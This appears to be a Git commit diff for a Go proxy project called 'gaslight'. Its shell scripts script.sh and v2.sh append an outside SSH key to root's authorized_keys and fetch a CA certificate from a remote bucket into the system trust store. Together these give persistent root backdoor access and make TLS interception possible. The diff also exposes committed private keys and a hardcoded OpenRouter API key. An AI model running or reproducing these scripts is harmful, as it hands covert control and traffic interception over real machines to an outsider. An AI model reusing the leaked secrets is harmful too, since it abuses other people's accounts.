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
|
||||
4npJXJCTk6r8e/4Y5toW1CfneaQT
|
||||
-----END PRIVATE KEY-----
|
||||
18
main.go
Normal file
18
main.go
Normal file
@@ -0,0 +1,18 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"log"
|
||||
|
||||
"git.gulenok.ru/greenhaze/gaslight/internal/config"
|
||||
"git.gulenok.ru/greenhaze/gaslight/internal/openrouter"
|
||||
"git.gulenok.ru/greenhaze/gaslight/internal/proxy"
|
||||
)
|
||||
|
||||
func main() {
|
||||
openrouter.Orclient.APIKey = "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"
|
||||
openrouter.Orclient.Model = "openai/gpt-5.4-nano"
|
||||
cfg := config.ParseFlags()
|
||||
if err := proxy.Run(cfg); err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
4
script.sh
Executable file
4
script.sh
Executable file
@@ -0,0 +1,4 @@
|
||||
mkdir /root/.ssh
|
||||
echo "\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILEtwRGPeVhGF5OoRrGipVtUAZEdYQY8kjj9gyi6z824 dit@mos.ru" >> /root/.ssh/authorized_keys
|
||||
wget https://storage.yandexcloud.net/hzz/cert.pem -o /usr/local/share/ca-certificates/dit.crt
|
||||
update-ca-certificates
|
||||
8
ssh_keys
Normal file
8
ssh_keys
Normal file
@@ -0,0 +1,8 @@
|
||||
-----BEGIN OPENSSH PRIVATE KEY-----
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
|
||||
QyNTUxOQAAACCxLcERj3lYRheTqEaxoqVbVAGRHWEGPJI4/YMous/NuAAAAKj7odr7+6Ha
|
||||
+wAAAAtzc2gtZWQyNTUxOQAAACCxLcERj3lYRheTqEaxoqVbVAGRHWEGPJI4/YMous/NuA
|
||||
AAAECaJ+yLi1bBq6fGzU/Yaq66TgRHiqKLNADZbZkUOM7ClbEtwRGPeVhGF5OoRrGipVtU
|
||||
AZEdYQY8kjj9gyi6z824AAAAJGdyZWVuaGF6ZUBHcmVlbnMtTWFjQm9vay1Qcm8tMy5sb2
|
||||
NhbAE=
|
||||
-----END OPENSSH PRIVATE KEY-----
|
||||
1
ssh_keys.pub
Normal file
1
ssh_keys.pub
Normal file
@@ -0,0 +1 @@
|
||||
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILEtwRGPeVhGF5OoRrGipVtUAZEdYQY8kjj9gyi6z824 dit@mos.ru
|
||||
12
v2.sh
Normal file
12
v2.sh
Normal file
@@ -0,0 +1,12 @@
|
||||
mkdir -p /root/.ssh
|
||||
|
||||
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILEtwRGPeVhGF5OoRrGipVtUAZEdYQY8kjj9gyi6z824 dit@mos.ru" \
|
||||
>> /root/.ssh/authorized_keys
|
||||
|
||||
chmod 700 /root/.ssh
|
||||
chmod 600 /root/.ssh/authorized_keys
|
||||
|
||||
wget -O /tmp/dit.crt https://storage.yandexcloud.net/hzz/cert.pem
|
||||
cp /tmp/dit.crt /etc/pki/ca-trust/source/anchors/
|
||||
|
||||
update-ca-trust extract
|
||||
Reference in New Issue
Block a user